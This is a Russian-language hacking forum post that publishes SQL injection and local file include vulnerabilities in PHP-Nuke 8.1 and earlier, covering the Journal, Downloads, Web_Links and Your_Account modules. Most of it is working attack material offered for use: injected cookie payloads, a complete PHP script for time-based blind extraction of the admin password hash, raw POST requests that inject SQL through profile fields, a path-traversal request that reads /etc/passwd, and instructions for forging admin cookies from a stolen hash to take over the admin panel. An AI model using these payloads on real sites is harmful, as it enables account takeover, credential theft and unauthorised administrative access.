Показать сообщение отдельно
Старый 05.07.2010, 01:24   #1
I-I00K
 
Регистрация: 01.07.2010
Сообщений: 31
Репутация: 55
По умолчанию Уязвимости PHP-NUKE и модулей

Обновленно: 01.07.2012
Cпустил ранее найденные мной уязвимости, поскольку они потеряли актуальность

SQL-Injection In PHP-Nuke <= 8.1(Module Journal)

Код:
         $username = $cookie[1];
        $user = filter($user, "nohtml");
        $username = filter($username, "nohtml");
        $sitename = filter($sitename, "nohtml");
        $title = filter($title, "nohtml");
        $title = addslashes($title);
        if (isset($mood)) { $mood = filter($mood, "nohtml"); }
        else { $mood = ""; }
        $jbodytext = kses(ADVT_stripslashes($jbodytext), $allowed);
        $jbodytext = addslashes($jbodytext);
        $sql = "INSERT INTO ".$prefix."_journal (jid,aid,title,bodytext,mood,pdate,ptime,status,mtime,mdate) VALUES (NULL,'$username','$title','$jbodytext','$mood','$pdate','$ptime','$status','$mtime','$ndate')";
        $db->sql_query($sql);
        update_points(1);
        $sql = "SELECT * FROM ".$prefix."_journal_stats WHERE joid = '$username'";
Для эксплуатации достаточно перейти по ссылке
Код:
/modules.php?name=Journal&file=add
и поместить в куки
Код:
base64_encode(yourid:yournick',0,(select concat_ws(0x3a,aid,pwd) from nuke_authors limit 0,1),1,1,1,1,1,1)/*:yourhash:10:thread:1:0:0:0:RusNuke2003:4096)
Пишем запись любого содержания, в результате получаем login:hash админа


SQL-Injection In PHP-Nuke <= 8.1(Module Downloads)
Фрагмент уязвимого кода:
/modules/Downloads/index.php
PHP код:
function Add($title$url$auth_name$cat$description$email$filesize$version$homepage) {
    global 
$prefix$db$user;
        
$sql "SELECT url FROM ".$prefix."_downloads_downloads WHERE url='$url'";
    
$result $db->sql_query($sql); 
Как мы видим данные из параметра url попадают в запрос без какой-либо фильтрации, magic_quotes_gpc должен быть off, инъекция слепая, вывод ошибок отсутствует, остается Benchmark.
Exploit:
PHP код:
<?php
set_time_limit
(0);
/*-----------------------------------------------------*/ 
//Эксплойт для PHPNuke 8.1(Module Downloads)
//Автор: l-l00K
/*-----------------------------------------------------*/  

/*-----------------Настройки---------------------------*/  
$host="localhost";//указываем хост
$cookie="user=MjphZG1pbjo5NmU3OTIxODk2NWViNzJjOTJhNTQ5ZGQ1YTMzMDExMjoxMDp0aHJlYWQ6MTowOjA6MDpSdXNOdWtlMjAwMzo0MDk2";//указываем куки
$sleeptime 5;//указываем время задержки
$bnk_value 1555511;//указываем значение для benchmark
$path="/modules.php?name=Downloads&d_op=AddDownload";
$index 1;
$result "";
$body_b  "d_op=Add&url=1' and IF(ord(SUBSTRING((select pwd from nuke_authors limit 0,1),";
$body_end ",1,BENCHMARK($bnk_value,MD5(NOW()))) -- ";
/*-----------------------------------------------------*/


function GetMiddle($min$max)
{
 return 
floor($min+((($max+1)-($min-1))/2));
}


 function 
post_sql($host,$path,$post_body)
 {
 global 
$sleeptime;global $cookie;
 
$btime time();
 
$post_query  "POST ".$path." HTTP/1.1\r\n";
 
$post_query .= "Host: ".$host."\r\n";
 
$post_query .= "Cookie: ".$cookie."\r\n";
 
$post_query .= "Referer: http://$host.$path\r\n";
 
$post_query .= "Connection: close\r\n";
 
$post_query .= "Content-Type: application/x-www-form-urlencoded\r\n";
 
$post_query .= "Content-length: " strlen($post_body) . "\r\n\r\n";
 
$post_query .= $post_body;
 
$sock fsockopen($host80$errno$errstr30);
 
 if (!
$sock) die('Could not connect to host! ');

 
fputs($sock$post_query);
 
$answer '';
 
$answer .= fgets($sock32);
 
fclose($sock);               
 
$ltime time();
 
$alltime $ltime $btime;
 if(
$alltime>($sleeptime-1))
 return 
false; else return true;
}


function 
Check($min,$max)
{
 if ((
$max-$min)<=2)
  {
  global 
$index;
  global 
$result;
  global 
$host;
  global 
$path;
  global 
$body_b;
  global 
$body_end;
  echo 
"Символ найден: ";
  if ((
$max-$min)==1)
  if (
post_sql($host$path$body_b.$index.",1))=".$max.$body_end)) 
   
$result .=chr($max); else $result .=chr($min);
  if ((
$max-$min)==2)
  {
  if (
post_sql($host$path$body_b.$index.",1))>".($max-1).$body_end))
  {
    
$result .=chr($max);
  } else
  {
   if(
post_sql($host$path$body_b.$index.",1))=".($max-1).$body_end))
    
$result .=chr($max-1); else $result .=chr($min);  
  }
  }
   echo 
substr($result,strlen($result)-1)."<br>";
   
flush();
   
$index++;
    return 
true;
  } else return 
false;
}



 if (
post_sql($host$path$body_b.$index.",1))>0".$body_end)) 
 {
  echo (
"Символ есть, идет подбор...<br>");
  
flush();
  
$ok true;
 }
 else 
 {
 die(
"Failed");
 }
for (
$i=0;$i<32;$i++)
{
 
$ok true;
 
$min 31;
 
$max 123;
 while (
$ok == true)
 {
  
sleep(2);
  
$num GetMiddle($min,$max);
  if (!
check($min,$max))
  {
  if (
post_sql($host$path$body_b.$index.",1))<".$num.$body_end)) 
  {
   echo(
"Меньше $num <br>");
   
$max $num;
  } else
  {
   echo (
"Больше $num <br>"); 
   
$min $num;
  } 
  
flush();
 } else 
$ok false;
 } 
}

echo 
$result
?>
SQL-Injection In PHP-Nuke <= 8.1(Module Web_Links)

Фрагмент уязвимого кода:
/modules/Web_Links/index.php
PHP код:
function Add($title$url$auth_name$cat$description$email) {
    global 
$prefix$db$user;
    
$result $db->sql_query("SELECT url from ".$prefix."_links_links where url='$url'");
$result $db->sql_query($sql); 
Как видим бага из одного модуля перекачевала в другой, сплоит приведенный выше будет работать и здесь, но для этого значение для $path нужно заменить на
Код:
$path="/modules.php?name=Web_Links&l_op=AddLink";
а значения для $body_b на
Код:
$body_b  = "l_op=Add&url=1' and IF(ord(SUBSTRING((select pwd from nuke_authors limit 0,1),";

SQL-Injections PHP-Nuke <= 8.1(Module Your_Account)
Уязвимость в файле: /modules/Your_Account/index.php
Необходимо: magic_quotes_gpc = off

#1
Фрагмент уязвимого кода:
PHP код:
function savecomm($user_id$username$umode$uorder$thold$noscore$commentmax) {
    global 
$user$cookie$userinfo$user_prefix$db$module_name;
    
cookiedecode($user);
    
$check $cookie[1];
    
$check2 $cookie[2];
    
$sql "SELECT user_id, user_password FROM ".$user_prefix."_users WHERE username='$check'";
    
$result $db->sql_query($sql);
    
$row $db->sql_fetchrow($result);
    
$vuid intval($row['user_id']);
    
$ccpass filter($row['user_password'], "nohtml"1);
    if ((
$user_id == $vuid) AND ($check2 == $ccpass)) {
        if(isset(
$noscore)) $noscore=1; else $noscore=0;
        
//echo $umode;
        
$db->sql_query("UPDATE ".$user_prefix."_users SET umode='$umode', uorder='$uorder', thold='$thold', noscore='$noscore', commentmax='$commentmax' WHERE user_id='$user_id'");
        
getusrinfo($user); 
Как видим значение переменной $umode попадает в запрос без какой либо фильтрации.

Exploit:
Код:
POST /nuke81/modules.php?name=Your_Account HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/nuke81/modules.php?name=Your_Account&op=editcomm
Cookie: user=MjphZG1pbjplM2NlYjU4ODFhMGExZmRhYWQwMTI5NmQ3NTU0ODY4ZDoxMDp0aHJlYWQ6MDowOjA6MDpEZWVwQmx1ZTow; admin=YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6; lang=english; member_id=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
umode=thread', bio=(select concat_ws(0x3a,aid,pwd) from nuke_authors limit 0,1) where user_id='YOUR_ID'%23&uorder=0&thold=0&commentmax=0&username=admin&user_id=YOUR_ID&op=savecomm
#2
Фрагмент уязвимого кода:
PHP код:
function saveuser($realname$user_email$femail$user_website$user_icq$user_aim$user_yim$user_msnm$user_from$user_occ$user_interests$newsletter$user_viewemail$user_allow_viewonline$user_notify$user_notify_pm$user_popup_pm$user_attachsig$user_allowbbcode$user_allowhtml$user_allowsmile$user_timezone$user_dateformat$user_sig$bio$user_password$vpass$username$user_id) {
    global 
$user$cookie$userinfo$EditedMessage$user_prefix$db$module_name$minpass;
    
$user_password htmlspecialchars(stripslashes($user_password));
    
cookiedecode($user);
    
$check $cookie[1];
    
$check filter($check"nohtml"1);
    
$check2 $cookie[2];
    
$sql "SELECT user_id, user_password FROM ".$user_prefix."_users WHERE username='$check'";
    
$result $db->sql_query($sql);
    
$row $db->sql_fetchrow($result);
    
$vuid intval($row['user_id']);
    
$ccpass filter($row['user_password'], "nohtml"1);
    
$ccpass htmlspecialchars(stripslashes($ccpass));
    
$user_sig filter($user_sig""1);
    
    
$user_email filter($user_email"nohtml"1);
    
$femail filter($femail"nohtml"1);
    
$user_website filter($user_website"nohtml"1);
    
$bio filter($bio""1);
    
$user_icq intval($user_icq);
    
$user_aim filter($user_aim"nohtml"1);
    
$user_yim filter($user_yim"nohtml"1);
    
$user_msnm filter($user_msnm"nohtml"1);
    
$user_occ filter($user_occ"nohtml"1);
    
$user_from filter($user_from"nohtml"1);
    
$user_interests filter($user_interests"nohtml"1);
    
$realname filter($realname"nohtml"1);
    
$user_avatar "$user_avatar";
    if ((
$user_id == $vuid) AND ($check2 == $ccpass)) {
        if (!
preg_match('#^http[s]?:\/\/#i'$user_website)) {
            
$user_website "http://" $user_website;
        }
        if (!
preg_match('#^http[s]?\\:\\/\\/[a-z0-9\-]+\.([a-z0-9\-]+\.)?[a-z]+#i'$user_website)) {
            
$user_website '';
        }
        if ((isset(
$user_password)) && ("$user_password!= "$vpass")) {
            echo 
"<center>"._PASSDIFFERENT."</center>";
        } elseif ((!empty(
$user_password)) && (strlen($user_password) < $minpass)) {
            echo 
"<center>"._YOUPASSMUSTBE." <b>$minpass</b> "._CHARLONG."</center>";
        } else {
            if (
$bio) { filter_text($bio); $bio $EditedMessage$bio FixQuotes($bio); }
            if (!empty(
$user_password)) {
                
cookiedecode($user);
                
$db->sql_query("LOCK TABLES ".$user_prefix."_users WRITE");
                
$user_password md5($user_password);
                
$newsletter intval($newsletter);
                
$user_allow_viewonline intval($user_allow_viewonline);
                
$user_notify intval($user_notify);
                
$user_notify_pm intval($user_notify_pm);
                
$user_popup_pm intval($user_popup_pm);
                
$user_allowbbcode intval($user_allowbbcode);
                
$user_allowhtml intval($user_allowhtml);
                
$user_allowsmile intval($user_allowsmile);
                
$user_id intval($user_id);
                
$db->sql_query("UPDATE ".$user_prefix."_users SET name='$realname', user_email='$user_email', femail='$femail', user_website='$user_website', user_password='$user_password', bio='$bio', user_icq='$user_icq', user_occ='$user_occ', user_from='$user_from', user_interests='$user_interests', user_sig='$user_sig', user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', newsletter='$newsletter', user_viewemail='$user_viewemail', user_allow_viewonline='$user_allow_viewonline', user_notify='$user_notify', user_notify_pm='$user_notify_pm', user_popup_pm='$user_popup_pm', user_attachsig='$user_attachsig', user_allowbbcode='$user_allowbbcode', user_allowhtml='$user_allowhtml', user_allowsmile='$user_allowsmile', user_timezone='$user_timezone', user_dateformat='$user_dateformat' WHERE user_id='$user_id'");
                
$sql "SELECT user_id, username, user_password, storynum, umode, uorder, thold, noscore, ublockon, theme FROM ".$user_prefix."_users WHERE username='$username' AND user_password='$user_password'";
                
$result $db->sql_query($sql);
                if (
$db->sql_numrows($result) == 1) {
                    
$userinfo $db->sql_fetchrow($result);
                    
docookie($userinfo['user_id'],$userinfo['username'],$userinfo['user_password'],$userinfo['storynum'],$userinfo['umode'],$userinfo['uorder'],$userinfo['thold'],$userinfo['noscore'],$userinfo['ublockon'],$userinfo['theme'],$userinfo['commentmax']);
                } else {
                    echo 
"<center>"._SOMETHINGWRONG."</center><br>";
                }
                
$db->sql_query("UNLOCK TABLES");
            } else {
                
$db->sql_query("UPDATE ".$user_prefix."_users SET name='$realname', user_email='$user_email', femail='$femail', user_website='$user_website', bio='$bio', user_icq='$user_icq', user_occ='$user_occ', user_from='$user_from', user_interests='$user_interests', user_sig='$user_sig', user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', newsletter='$newsletter', user_viewemail='$user_viewemail', user_allow_viewonline='$user_allow_viewonline', user_notify='$user_notify', user_notify_pm='$user_notify_pm', user_popup_pm='$user_popup_pm', user_attachsig='$user_attachsig', user_allowbbcode='$user_allowbbcode', user_allowhtml='$user_allowhtml', user_allowsmile='$user_allowsmile', user_timezone='$user_timezone', user_dateformat='$user_dateformat' WHERE user_id='$user_id'");
            } 
как видим, если переменная $user_password пуста, то мы получим возможность внедрить наш sql код через переменные $user_notify, $user_notify_pm, $user_popup_pm, $user_allowbbcode, $user_allowhtml, $user_allowsmile, user_viewemail, user_attachsig

Exploit:
Код:
POST /nuke81/modules.php?name=Your_Account HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/nuke81/modules.php?name=Your_Account&op=edituser
Cookie: user=MjphZG1pbjo5NmU3OTIxODk2NWViNzJjOTJhNTQ5ZGQ1YTMzMDExMjoxMDp0aHJlYWQ6MDowOjA6MDpEZWVwQmx1ZTo%3D; admin=YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6; lang=english; member_id=1; 
Content-Type: application/x-www-form-urlencoded
Content-Length: 475
realname=d%5C&user_email=ad%40a.ru&femail=&user_website=&user_icq=0&user_aim=&user_yim=&user_msnm=&user_from=&user_occ=&user_interests=&newsletter=0&user_viewemail=0&user_allow_viewonline=1&user_notify=0&user_notify_pm=0&user_popup_pm=0&user_attachsig=0&user_allowbbcode=1&user_allowhtml=1', bio='lalalala' where user_id=2/*&user_allowsmile=1&user_timezone=%2B10&user_dateformat=D+M+d%2C+Y+g%3Ai+a&user_sig=%5C&bio=1&user_password=&vpass=&username=admin&user_id=2&op=saveuser
Local Include PHP-Nuke <= 8.0
Фрагмент уязвимого кода:
/modules/Your_Account/index.php
PHP код:
function savetheme($user_id$theme) {
    global 
$user$cookie$userinfo$user_prefix$db$module_name$prefix;
    
//include "config.php";
    
$row $db->sql_fetchrow($db->sql_query("SELECT overwrite_theme from ".$prefix."_config"));
    
$overwrite_theme intval($row['overwrite_theme']);

    if (
$overwrite_theme != 1) {
        
Header("Location: modules.php?name=$module_name");    
        die();
    }
    
cookiedecode($user);
    
$user_id intval($user_id);
    
$check $cookie[1];
    
$check filter($check"nohtml"1);
    
$check2 $cookie[2];
    
$theme_error "";
    
$sql "SELECT user_id, user_password FROM ".$user_prefix."_users WHERE username='$check'";
    
$result $db->sql_query($sql);
    
$row $db->sql_fetchrow($result);
    
$vuid intval($row['user_id']);
    
$ccpass filter($row['user_password'], "nohtml"1);
    if ((
$user_id == $vuid) AND ($check2 == $ccpass)) {
        
$db->sql_query("UPDATE ".$user_prefix."_users SET user_style='$theme_id' WHERE user_id='$user_id'"); 
mainfile.php
PHP код:
function get_theme() {
    global 
$user$userinfo$Default_Theme$name$op;
    if (isset(
$ThemeSelSave)) return $ThemeSelSave;
    if (
is_user($user) && ($name != "Your_Account" OR $op != "logout")) {
        
getusrinfo($user);
        if(empty(
$userinfo['theme'])) $userinfo['theme']=$Default_Theme;
        if(
file_exists("themes/".$userinfo['theme']."/theme.php")) {
            
$ThemeSel $userinfo['theme'];
        } else {
            
$ThemeSel $Default_Theme;
        }
    } else {
        
$ThemeSel $Default_Theme;
    }
    static 
$ThemeSelSave;
    
$ThemeSelSave $ThemeSel;
    return 
$ThemeSelSave;

Как видим при записи и при получении значения переменной $theme нет никакой защиты от LFI

Exploit
Код:
POST /phpnuke/modules.php?name=Your_Account HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/phpnuke/modules.php?name=Your_Account&op=chgtheme
Cookie: video_stream_rating=%3A2%3A1%3A3%3A3+and+1%3A3+and+0%3A3%27+and+0%23%3A3%27+and+1%23; admin=YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6; lang=russian; user=MjphZG1pbjo5NmU3OTIxODk2NWViNzJjOTJhNTQ5ZGQ1YTMzMDExMjoxMDp0aHJlYWQ6MTowOjA6MDovLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAA6NDA5Ng%3D%3D; member_id=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
theme=/../../../../../../../etc/passwd%00&user_id=2&op=savetheme
Авторизация
После того как мы получили хэш, его не нужно брутить, достаточно просто сгенерировать валидные куки:
Код:
admin=base64_encode(adminaid:adminhash:)
переходим на /admin.php и мы в админке!
Если на admin.php стоит бейсик аутентификация, не стоит забывать про форум.
Перейдя по ссылке
Код:
/modules/Forums/admin/
Мы окажемся в админке phpbb

Последний раз редактировалось I-I00K; 02.07.2012 в 16:43..
I-I00K вне форума   Ответить с цитированием